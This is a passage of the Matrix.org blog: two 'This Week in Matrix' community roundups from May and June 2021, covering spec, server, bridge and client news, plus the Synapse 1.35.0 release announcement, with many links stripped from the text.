  • CoAP uses Blockwise Transfer to download large responses. Each block must be ACKed before the next block can be sent. This is less efficient than TCP which has a Receive Window which allows multiple in-flight packets at once. This means CoAP is worse at downloading large responses, requiring more round trips to completely send the data.
  • The current version of /sync sends back much more data than is strictly necessary. This means the initial sync can be slower than expected. On a low kbps link this can flood the network with so much data that the sync stream begins to fall behind. Future work will look to optimise the sync API.
  • The proxy currently doesn't implement the low bandwidth response in /versions.

This Week in Matrix 2021-06-04

2021-06-04 — This Week in Matrix — Ben Parsons

Matrix Live 🎙

Dept of Status of Matrix 🌡️

Wired UK feature article

Wired UK have published a feature on Matrix in their print edition this month. We'll be sure to link to it when it's made available online!

Wired Article

German-universities poll

jfkimmes shared:

I just learned that in a poll of 89 universities in Germany, Matrix ranked third place in the chat category already.

The source is in only available in German, unfortunately:

However, the conclusion list (first table) may be understandable from context. It lists the top three solutions per category with their respective number of universities using it.

Oleg clarified:

The evaluation was "which solution are you using".

Florian added:

The Instant Messaging part starts at slide 15, the first chart on that slide is "which solution do you use", the second is "How content are you with the solution?", with Matrix having the best average of all solutions, namely ~8.8/10.

also JCG:

What's also noteworthy: Those using matrix are the happiest with the solution


Dept of Spec 📜


anoa offered:

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at

MSC Status

New MSCs:

MSCs with proposed Final Comment Period:

  • No MSCs entered proposed FCP state this week.

MSCs in Final Comment Period:

  • No MSCs are in FCP.

Merged MSCs:

  • No MSCs were merged this week.

Spec Updates

This week the Spec Core Team has been reviewing various Spaces MSCs, most recently MSC3230 (Space ordering). We're also hoping to square away the aggregations MSCs (message editing, reactions, etc) once and for all, though this will likely take a concerted effort from a few members to pull off.

Finally MSC3231 is a (currently draft status) MSC from Callum, one of's GSoC students this year! His project aims to allow native token-based registration to homeservers (the idea is so that you can generate a few tokens from your registration-disabled homeserver and hand them out to a few trusted friends and family members).

And finally, work still continues on finishing up the technical portions of the new release process for the spec. As mentioned last week, we've attempted to split the work up over multiple people in order to get it done quicker. Slowly but surely...


Dept of Servers 🏢


Synapse is a popular homeserver written in Python.

callahad said:

Hello from the Synapse team! A short update for a short workweek (thanks, bank holidays!):

  • Synapse 1.35 was released this week! The Spaces flag is on by default, a bunch of bugs were fixed, and we've landed many of the prerequisites to eliminating RAM spikes on room joins.

  • 📚 We have new docs! 📚 Anoa converted our docs to build with mdbook (#10086), and you can now browse them at! Check it out and let us know what you think. (Note: Not all of the pages have been converted from reStructuredText to Markdown yet, so some might render a bit strangely, but the structure is there!)

Catch you next Friday! 👋



f0x announced:

Another round of updates on my smart caching media proxy. After refactoring a lot (as always), I implemented thumbnailing! Now the only big feature left to add is url previewing. I also have a test deployment configured on now, so you can try fetching a bit of remote media through there, or view this submissions screenshot


Got started implementing a Prometeus /metrics endpoint, with a rudimentary Grafana dashboard for my test installation.

comparison with matrix-media-repo

While they both implement Matrix' media endpoints, they serve rather different niches, where matrix-media-repo fully decouples the media repo aspect, my proxy cooperates with Synapse's filesystem and database, to speed up operation while ultimately making it a seamless drop-in and removal process.

also :P


Homeserver Deployment 📥️


Ananace offered:

And another weekly installment of Kubernetes Helm Chart (and deprecated Docker image) updates, tracking the Synapse releases this week (1.35.0/1).

Dept of Bridges 🌉

Heisenbridge demo video

hifi shared this great demonstation video of Heisenbridge:

Half-Shot hit us late with a pair of updates:

Security release for the matrix-appservice-irc and matrix-appservice-bridge library

Hello. This week we've released an update to the library containing a security fix for room upgrade handling. The security report will come later, but for now we advise anyone using the room upgrade handler feature to upgrade to 2.6.1. By the same token, we would also advise all IRC bridge admins to update their bridge to 0.26.1.

The bridge is still ongoing

Howdy folks. As you've likely seen over the last few days, we're still hard at work getting the final pegs in place for the bridge. As usual, you can start using the bridge now while it's in beta by going to #<foo>, but we're hoping to have the thing stable by next week. Catch us in for the juicy gossip about it.


Fair reported:

matrix-puppeteer-line: A bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer.

  • Send a bridge notice when getting unexpectedly logged out of LINE, to warn you to log in again.
  • Improve resiliency of LINE user avatar syncing.
  • Properly support syncing LINE rooms with participants who aren't in your LINE friends list (This was harder than it sounds...!)

These changes (and ones before it) will be merged to master once I reorganize some messy commits.

The next big task is still to fix outbound read receipts (i.e. to make it so that the bridge syncing a message doesn't make your > LINE contacts think you actually read that message). Once that is done, I'll consider the bridge to be in beta.

Discussion: Issue page:

Dept of Clients 📱

Thunderbird Matrix support

freaktechnik announced:

Thunderbird now has Matrix support based on matrix-js-sdk enabled in the Nightly builds.

The star feature is probably that we support multiple Matrix accounts in the same client. Right now all your unencrypted rooms with text messages should work fine. While we think we won't destroy your account's state, it's still recommended to use a testing account with it. During account setup, it will ask you for a password, even if the homeserver supports SSO. If you intend to log in through SSO, just leave the password field blank.

We're not quite at the point where we support all the things you love about chatting with Matrix. Many of the missing features and polish to make communication successful are tracked in this meta bug. The goal for that milestone is to enable Matrix in our Beta builds.

You can get a Thunderbird Nightly build at the bottom of by switching from "Beta Channel" to "Nightly Channel". If you run into bugs with the Matrix integration, please report them through this form. When filing a bug, please include debug logs. You can copy the debug logs for the account by going to the "Show Accounts" dialog, right clicking the account and selecting "Copy Debug Log". Note that the debug log may contain information from any of your conversations, so you might want to check the contents before posting it anywhere.

Also, check out Matrix Live!


Carl Schwan announced:

NeoChat 1.2, our third major release, was released this week bringing many improvements to the timeline and text input component. If you missed it, you can read the announcement here: and we even have a nice release video :)

Other than that, we started working on an integration with KDE web shortcuts functionality to quickly search selected text on the web:



Nico ( told us:

Callum, our GSoC student, after spending some time on Synapse, had now his first go at Nheko's codebase. He implemented, that you can now just enter the server name on registration instead of the full URL. This means entering or works now nicely, since those servers are actually hosted at a different URL. He's now working on the Token Registration MSC, which he will implement in Synapse and Nheko, so exciting times ahead!

We also had a small contribution from pcworld, who fixed that if you only viewed the room list in the narrow layout, you would not get notifications for the last selected room.

I'll leave you with some words, that you may have heard a few times already: "Watch this space for next weeks update!"


Alexandre Franke reported:

A dozen merge requests have been integrated in our fractal-next branch since last week.

Amongst the more trivial changes, Julian made sure rooms are added to the sidebar in batch (!737) to improve performances, added in-app notifications for invite errors (!760), added a menu entry to leave rooms (!769), and implemented display of user and room avatars (!770). We also gained a right-click-menu entry to display event sources thanks to Kévin (!766).

Element Clients

Updates provided by the teams.

Delight team

  • We’re continuing progress on implementing Blurhash on Web & Android to improve the image loading experience, especially on low bandwidth
  • On Spaces, we’ve started working on the ability to drag and drop to re-order Spaces, along with improving adding aliases to public Spaces


  • 1.7.30 RC on staging
    • Improved layout performance in the timeline and room list
    • Refined the message action bar UI
  • Continuing to improve application performance
    • Recent focus on minimising browser layout work when things change
    • Reducing DOM size
  • Working on Apple silicon desktop builds


  • 1.4.0 is available on the public TestFlight. We expect to make it available on the App Store on Monday. It has:
    • Performance improvements
    • Crash fixes
    • New languages: Esperanto, Portuguese (Brazil), Kabyle, Norwegian, Swedish, Japanese and Welsh.
    • There are some API breaks in MatrixSDK due to those performance improvements.
    • We have now a MXLog module with log levels! It is now possible to disable all logs from MatrixSDK
  • We continued to work on performance and stability and will continue to for the coming sprint period:


  • 1.1.8 has been released to production, and 1.1.9 has been released to beta on the PlayStore
  • We are currently working with the design team on the light and dark theme of the application, especially colors and text appearance. Lots of cleanup to do...


A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support.

Bruno announced:

Released Hydrogen 0.1.56 this week, with redactions. In the meantime, I've been making good progress on reactions, which should hopefully get released early next week. Midhun has made good progress on the right panel, ironing out the last bugs.

Here's a sneak preview of reactions (with slow network to show off the local echo animation):



tusooa reported on kazv:

kazv is a matrix client based on libkazv. Talk to us on


I guess it's a long time from our last twim. Here's what is going on in that time:


Dept of Events and Talks 🗣️

Matrix @ FrOSCon this year

Oleg said:

On August 21-22 the annual Free and Open Source Conference (short FrOSCon) will take place. Usually the conference takes place in a German University of applied Sciences Bonn Rhine Sieg. This year it will be virtual. On the positive side - we don't need to travel.

As German Matrix community grows this is a great opportunity to meet each other and hack together.

Matrix Dev Room

We are planing to do a virtual Dev Room this year. The idea is to exchange on the latest Matrix development and projects, get to know each other and drink <your_favorite_beverage> (virtually) together. 😉

To make it happen we need your help!

Dev Room is living from talks and workshops - this is your chance to present your Matrix project or to do a workshop!

Language: preferably German, but English is also ok

Submission is until 2021-06-11, but please give us feedback ASAP so we can create a plan now.

If it's your first talk or workshop some free of charge coaching is included. 😉

Also help in organizing the Dev Room (moderation, timekeeping) is needed.

Matrix Open Source booth

It was a great place to chit-chat and to get your in-depth answers regarding Matrix at FOSDEM this year. 👍️

We also planing to have a virtual booth at FrOSCon.

We need your support in answering questions about Matrix or just to have a good time.

Get in touch

If you want to take part please contact (or [email protected]) ASAP to add you to the Dev Room participants list.

BTW: we also have a room

Dept of Interesting Projects 🛰️


cvwright reported:

You can also support circles on Kickstarter.

Dept of Ping 🏓

Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

That's all I know 🏁

See you next week, and be sure to stop by with your updates!

Synapse 1.35.0 released

2021-06-01 — Releases — Dan Callahan

Synapse 1.35.0 is out! This release focused on improving internals as we drive toward better memory performance during room joins, but more on that below.

Update: Synapse 1.35.1 was published on Thursday, June 3rd. It resolves a bug (#10109) which mistakenly listed invite-only rooms in the Spaces summary.

We'd also like to call the attention of client developers to a deprecation: The unstable prefixes used during development of MSC2858: Multiple SSO Identity Providers will be removed from Synapse 1.38, due out in August. Please ensure your client supports the stable identifiers for this feature.

Spaces: On by Default

Following the successful release of Synapse 1.34, the experimental Spaces flag is now enabled by default. If you had manually enabled the experimental_features: { spaces_enabled: true } flag in your homeserver configuration, you may now remove it.

Bug Squashing

This release of Synapse fixes an issue which could cause federated room joins to fail when the join response exceeded a size limit which was too low (#10082). We've also improved what Synapse logs when it drops a connection in similar circumstances (#10091), which should aid diagnosis if a similar issue were to arise in the future.

GitHub user thermaq contributed a fix (#10014) for a bug which could cause user presence state to become stale.

Lastly our OpenTracing support now allows for profiling end-to-end performance on a per-user basis (#9978).

An Update on Room Joins

We've been hammering away at shrinking Synapse's memory footprint when joining large / complex rooms, and while we're not there yet, the end is in sight! In particular, this release includes many internal refactorings, including using ijson to parse the JSON response to /send_join (#9958), clearing the way for substantial improvements.

Memory usage still spikes because we're effectively doing the same work with a different library, but ijson's design allows for iterative parsing. This will pay dividends once we modify the code downstream of /send_join to take advantage of it.

Concretely, Erik Johnston has an experimental branch of Synapse which completely eliminates the memory spike:

Memory usage graph for Synapse 1.33, 1.35, and an experimental branch

The remaining work is centered on splitting that branch into self-contained, reviewable pull requests, like a rewrite of the Synapse Keyring class (#10035). After that's merged, we'll need to make one further change to properly batch up work, at which point we should attain the efficiency gains from Erik's experiment.

Everything Else

GitHub user savyajha contributed a security hardened systemd unit file which effectively sandboxes Synapse (#9803). While not enabled by default, we'd encourage security conscious users to review the example file and associated documentation.

Please see the Release Notes for a complete list of changes in this release.

Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including dklimpel, jerinjtitus, junquera, lonyeon, savyajha, and thermaq.

This Week in Matrix 2021-05-28

2021-05-28 — This Week in Matrix — Andrew Morgan

Matrix Live 🎙

A classic "Matthew & Amandine" episode. This week: Spaces, Reputation, Low-Bandwidth, P2P & more!

Dept of Spec 📜


anoa gifted us with:

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at

MSC Status

Lots of new MSCs appearing this week!

New MSCs:

MSCs with proposed Final Comment Period:

  • No MSCs entered proposed FCP state this week.

MSCs in Final Comment Period:

  • No MSCs are in FCP.

Merged MSCs:

  • No MSCs were merged this week.

Spec Updates

The Spec Core Team is working towards finalising the remaining spec PRs and the new spec release process. Good news is there's only one final spec PR to go! Bad news is it's probably going to be one of the hardest :)

Otherwise the team was pleased to see that noticeable progress is being made on the MSC backlog. But that doesn't mean we get to rest on our laurels!


Dept of Servers 🏢


Synapse is a popular homeserver written in Python.

callahad said:

We have interns! In addition to's participation in Google Summer of Code, Element has funded two Outreachy interns to work on backend projects, and we're overjoyed to welcome the following folks to Matrix:

  • Shay (Outreachy) is focused on modernizing Sydent and Sygnal, our reference implementations of a Matrix Identity Server and a Matrix Push Gateway respectively.
  • Meenal (Outreachy) is helping us improve Complement, and modern replacement for SyTest, our homeserver integration test suite.
  • Callum (GSoC) is working on adding support for restricting homeserver registration to users with pre-shared invite codes.

Welcome Callum, Meenal, and Shay!

We're also working to unify and standardize the module API which is used to extend Synapse, and your feedback would be very welcome. Similarly, if you have any experience with adding custom modules to Docker images or Debian packages and have thoughts on how we should best support that (or just examples of projects which do that well), please weigh in at #9944.

Lastly, we're looking forward to the release of Synapse 1.35 which will bring significant improvements to memory use during room joins, but that's for next week. 😉

A very warm welcome to all of our Outreachy interns and Google Summer of Code students this year! You can see the full list of GSoC students in our Google Summer of Code 2021 blogpost.


f0x announced:

I've been working on a smart media worker/proxy, to offload initial spikes in traffic for homeservers behind slower network uplinks.

There's a <remote> component that sits on a small vps, handling the upload and download endpoints (and soon, thumbnails), with an in-memory cache to quickly respond to requests. Media still gets forwarded to the <local> component where it gets stored in Synapse's media folder with an accompanying database entry, so all media is still stored long-term in the way Synapse expects it to be, so the proxy can be removed at any point.

Currently not production ready but you're welcome to snoop around the repo :)

Seems like quite a useful project! Other adventures in splitting out the media server from the homeserver include TravisR's matrix-media-repo project.


Conduit is a Matrix homeserver written in Rust.

timokoesters reported the latest updates since last week:

  • Feature: Implement /claim

  • Feature: Handle incoming to-device events

  • Feature: Implement /query

  • Improvement: Faster signing key storage

  • Improvement: Documentation for Appservices

  • Fix: State resolution bugs

  • Fix: Respond to unauthorized PDUs with FORBIDDEN

  • Fix: Forward errors from remote servers (e.g. unsupported room version)

Timo also shared with us a milestone dashboard for Conduit being production-ready: It's exciting to see the multi-implementation Matrix homeserver landscape really beginning to take shape!

Homeserver Deployment 📥️


Ananace announced:

Another weekly Kubernetes Chart update, this time only for element-web though - which was updated to 1.7.29.

Dept of Bridges 🌉 IRC network news

Half-Shot tells us:

Hey folks, some of you (well, frankly most of you) wanted to hear about our plans for I've been hard at work this week building a brand new bridge which is hosted on the homeserver and it's nearly ready to go. We're just making a few final preparations before taking it out of beta, but it's currently available as a portaling bridge. You can currently reach any channel on by joining #<channel_name> You can also add the homeserver to your room directory in your Matrix client to search all the bridged rooms.

We're also hanging out in, if you have any questions. Of course, the bridge is proving to be very popular so please be patient :)

Definitely one of the most sought-after Matrix bridges lately. Props to Half-Shot, Libera.Chat and everyone else for getting it all together in such short notice.

Heisenbridge Updates

hifi told us:

Plumbing IRC channels 🧑‍🔧

Somewhat experimental feature that has landed this week is the ability to use single puppeting in a public Matrix room to bridge IRC channels.

This support comes through a new PLUMB admin command for network rooms that will ask the bridge bot to join a public Matrix room and an IRC channel.

On IRC side there will be only a single user/bot that will relay messages from Matrix users. This is a stop-gap between fully puppeting Matrix users on IRC and doesn't need explicit permission from an IRC network to use by channel operators as long as bots are allowed.

On Matrix side puppets will join and leave based on their presence on the IRC channel. The bridge bot does not need any special permissions in a room as it doesn't do permission synchronization so it can be kept without any power levels.

Unplumbing a room is as simple as kicking the bridge out and it will take the puppets with it.

As this is a fairly new feature it does have some rough edges so feedback is greatly appreciated.

With all this said, if you're in the need to bridge any IRC channel on any network with little friction, Heisenbridge should have you covered!

SASL support 🔒

If you're using Heisenbridge to connect to Libera.Chat from a network block that has SASL enforcement enabled (like some VPS providers) you can now configure SASL credentials to authenticate at connection time to bypass this restriction.

This only implements SASL PLAIN for now. Certificate authentication may be looked at in the future.

But that's not all

  • Identd will now always provide a unique ident for everyone

  • Improved detection for stalled connections

  • IRC user ghosting issues fixed for good 🤞

  • Server TLS cert checking fixes, self-signed support

  • Initial bridge DM invites should go through more reliably

  • QUIT command to leave from all networks in one go

  • Automatic Docker Hub images from master (amd64 and arm64)

In addition Heisenbridge is now featured on 🥳

matrix-puppeteer-line Updates

matrix-puppeteer-line is a bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer.

Fair offered:

This week brings a variety of assorted bugfixes & feature improvements in the testing branch. Included are:

  • Support for m.sticker events for LINE stickers (with an option to use m.image if preferred)

  • Clear resolution of LINE emojis, and a config option to scale them (since they're tiny by default)

  • Less frequent re-downloading of already-seen LINE stickers/emoji (there are limits to this, but it's still an improvement)

  • Option to disable syncing LINE stickers/emoji (in case re-hosting LINE imagery is a liability)

  • More reliable message syncing (should never get "Decrypting message..." or invisible images/stickers/emoji anymore)

  • Fix crashes during inbound message & read receipt syncing of multi-user rooms

Like last time, testing is much appreciated 😀

Remaining big tasks are:

  • Rework message syncing so that receiving a message doesn't require "viewing" the LINE chat in the Puppeteer-controlled browser, which will make LINE send a read receipt even though you may not actually have read the message yourself (I mentioned this a while ago; it's still a todo)

  • Support for multiple bridge users at once (A public instance of the bridge will only be considered once multi-user support is ready)


Issue page:

Dept of Clients 📱

NeoChat Updates

NeoChat is a Matrix client written using KDE technologies, most notably the Kirigami UI framework.

Carl Schwan reported:

The past few weeks have been busy with fixing bugs. As a result, we plan to release NeoChat 1.2 next week. You can help by testing the Flatpak beta version of NeoChat: flatpak install

Aside from bug fixing, Tobias worked a bit on E2EE encryption in Quotient and Noah added a fancy typing indicator.


Nheko Updates

Nheko is a desktop client using Qt, Boost.Asio and C++17. It supports E2EE and intends to be full featured and nice to look at

AppAraat told us:

  • I added mnemonic shortcut keys to the context menu. Now you can react and reply even faster! (Thanks Nico for all the guidance :))

  • Nheko is now available on the Chocolatey package manager for Windows, yay!


FluffyChat Updates

FluffyChat is the cutest cross-platform matrix client. It is available for Android, iOS, Web and Desktop.

krille announced:

FluffyChat 0.31.1 has been released with a lot of bug fixes, stability improvements, minor redesigns and a lot of refactoring under the hood.


  • Cute animation for hiding the + button in inputbar

  • Improved chat bubble design and splash animations

  • Zoom page transition on Android

  • SSO is now an option even if the server supports password login


  • "Pick an image" button in emote settings doesn't do anything

  • Emoji picker

  • Status bar and system navigation bar theme

  • Open URIs and receive sharing intent on iOS

  • SSO on iOS

  • Workaround for iOS not clearing notifications

  • Send read markers


Fractal Updates

Fractal is a Matrix client written in Rust, and one of the first to use the matrix-rust-sdk!

Alexandre Franke offered:

Since last week, a couple things landed in fractal-next. Julian added support for accepting/rejecting invites (!754/#759). Kévin did an internal restructuring of how we handle the SyncResponse in !759. The visible consequence for users is that room categories (also known as tags) are updated directly in Fractal when the user changes it from an other client. He also switched from comrak to ruma’s markdown in !756. It shouldn’t have any impact for users, but should mean less code in the end on our side and more consistent code as well.


Element Client Updates

Crafted by the Element teams.


  • Spaces: We’ve been listening to, investigating, triaging and organising feedback from the beta so far. There’s a lot to get through, but thanks to everyone who has submitted feedback in-app in Element so far! The insight has been invaluable and is instrumental in shaping up our next milestones.
  • Papercuts: We’re also organising and fixing small issues throughout Element, biasing for highly visible issues which have the greatest impact and reach, affectionately titled ‘papercuts’. Expect more info on these soon, but for now a fun one to highlight is we’re implementing blurhash on Web & Android (with iOS to follow soon after) to improve previewing and viewing images, especially when on low bandwidth.


  • 1.7.29 released
    • Improved startup performance by focusing decryption on recent rooms
    • Fixed reaction duplication
  • Sorting out why we sometimes see "missing translations" hopefully for good this time
  • Continuing to improve application performance
  • Started work on Apple silicon desktop builds


  • We continued to work on technical subjects:
    • Stabilisation and performance improvements
    • New logging system. It will be possible to disable all logs for MatrixSDK, MatrixKit and Element-iOS
    • The code that manages application navigation in Element-iOS has been updated. It will allow us to add a slide menu to display things like user spaces.


  • Element Android 1.1.8 has been released on the beta track of the Google PlayStore. It will probably be pushed to production at the beginning of next week. The Android matrix SDK2 has also been released.
  • This week, we implemented the ability to change the network when looking in the room directory. Also has been added to the default network list. See some screenshots in
  • Lots of improvements regarding Spaces have also landed to develop.
  • Besides that, we are still fixing issues and perform regular maintenance on the project

Dept of SDKs and Frameworks 🧰


f0x said:

I forked autodiscover-client-configuration to implement the Server-Server counterpart of getting the API endpoint from a server_name.

Package published on NPM:


Dept of Services 🚀

GoMatrixHosting is a SaaS Matrix hosting platform.

Michael reported:

We are finally open for business. Start your own Matrix service today with GoMatrixHosting!

And quite soon after:

GoMatrixHosting v0.4.7 has arrived!

  • reinvented database purging section, separated final shrinking that causes downtime.
  • fixed AWX issue causing rust-synapse-compress-state section to not execute.
  • added more reliable script method of generating the total room list.

Check us out on GitLab:

Or come say hello at:

Cactus Comments 🌵

Cactus Comments is a federated comment system for the open web built on Matrix.

Asbjørn reported:

Web Client v0.10.0 is out!

  • Allow commenting with Markdown.

  • Pluralize time units properly.

  • Enforce maximum nesting depth of 100 when sanitizing org.matrix.custom.html-formatted messages.

/ipns/ is updated to point to the latest release, so sites linking there should already be using the new version.

Come play with the demo:

Join our Matrix room:

Beeper Update

Beeper is a Matrix client and service that makes it easy to connect all your digital communications in one place.

Eric Migicovsky told us:

Been a while since our last update! The biggest development is that we've hired some fantastic members of the community including SpiritCroc from SchildiChat to work on Beeper Android and Kilian from Nio to work on Beeper iOS.

  • Beeper Desktop reached 2.0.0 with much improved performance and UI. Video Walkthrough

  • Released Beeper Android to Play Store

  • Switched domains from to the shiny new

Projects in the works

  • Beeper iOS (SoonTM)

  • Adding Infinite backfill to all bridges.

  • Improvements to iMessage bridge (adding tapbacks and reply support)

We are hiring React, iOS, Android and SRE/Devops engineers. If you're interested, send me a DM! 100% remote, we'll hire you anywhere you are.


Eric's Matrix ID is Reach out if you're interested in getting involved!

Dept of Bots 🤖

Airlock, the space invite bot

Robin announced:

If you want to use spaces to run an invite-only community, but can't wait for knocking and restricted room membership to make their way into a stable room version, you may be interested in Airlock, a very simple bot that I wrote to automatically invite people to a space's rooms and subspaces when they join.

It requires zero configuration—just invite the bot to your space and all of the rooms and subspaces within it, make sure it has invite permissions, and you're good to go! You're welcome to use my hosted version, or run it yourself.

It's great to see people building useful tools to bridge the gap as Spaces inches closer out of beta.

Dept of Interesting Projects 🛰️

Host your blog on Matrix

evol told us:

About a month ago I came up with the idea that it would be interesting to use Matrix as an API for a blog. Sometime later it turned out that it's possible, and one thing led to another, and now I have a blog hosted on Matrix 😃

Long story short, the blog is a space and each post is a room within that space. This allows you to read the posts in your Matrix client of choice and also have discussions right underneath the content.

You can read more details on how it's done on the blog itself (incl. links to ugly code on my Github): If you want to chat about this, join !

Longtime readers may remember Luke Barnard's take on the concept of Blogs built on Matrix back in 2019 with Journal. It's really exciting to see a modern version of this concept - and using Spaces no less!

Server_Stats Updates

Server_Stats is a project to make statistics about the Matrix network neatly catalogued and browsable.

MTRNord said:

Space List

The tool now has a separate list for rooms that are spaces at this allows you to find Spaces easily and fast :)

Other Updates

  • A bug in the sdk combined with appservices did initially have for some rooms the ban not recognized. This is now fixed and those rooms are hidden again from the API. Sorry for the inconvenience.

  • Safari should now also work after fixing a setting.

Check out the Sourse at: or join the room at for questions :)


Circles markets itself as a private, end-to-end encrypted social network built on top of Matrix.

farribeiro announced:

Good news folks

The Circles beta is open source

It's AGPL for now

But automatically transitions to dual-license under AGPL / Apache 2.0 when 'Murica turns 250 years old. (July 4, 2026, for my international friends)

I love seeing Matrix projects dipping into the social networking sphere. It's an untapped market!

Dept of Ping 🏓

Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

Join to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS

That's all I know 🏁

See you next week, and be sure to stop by with your updates!

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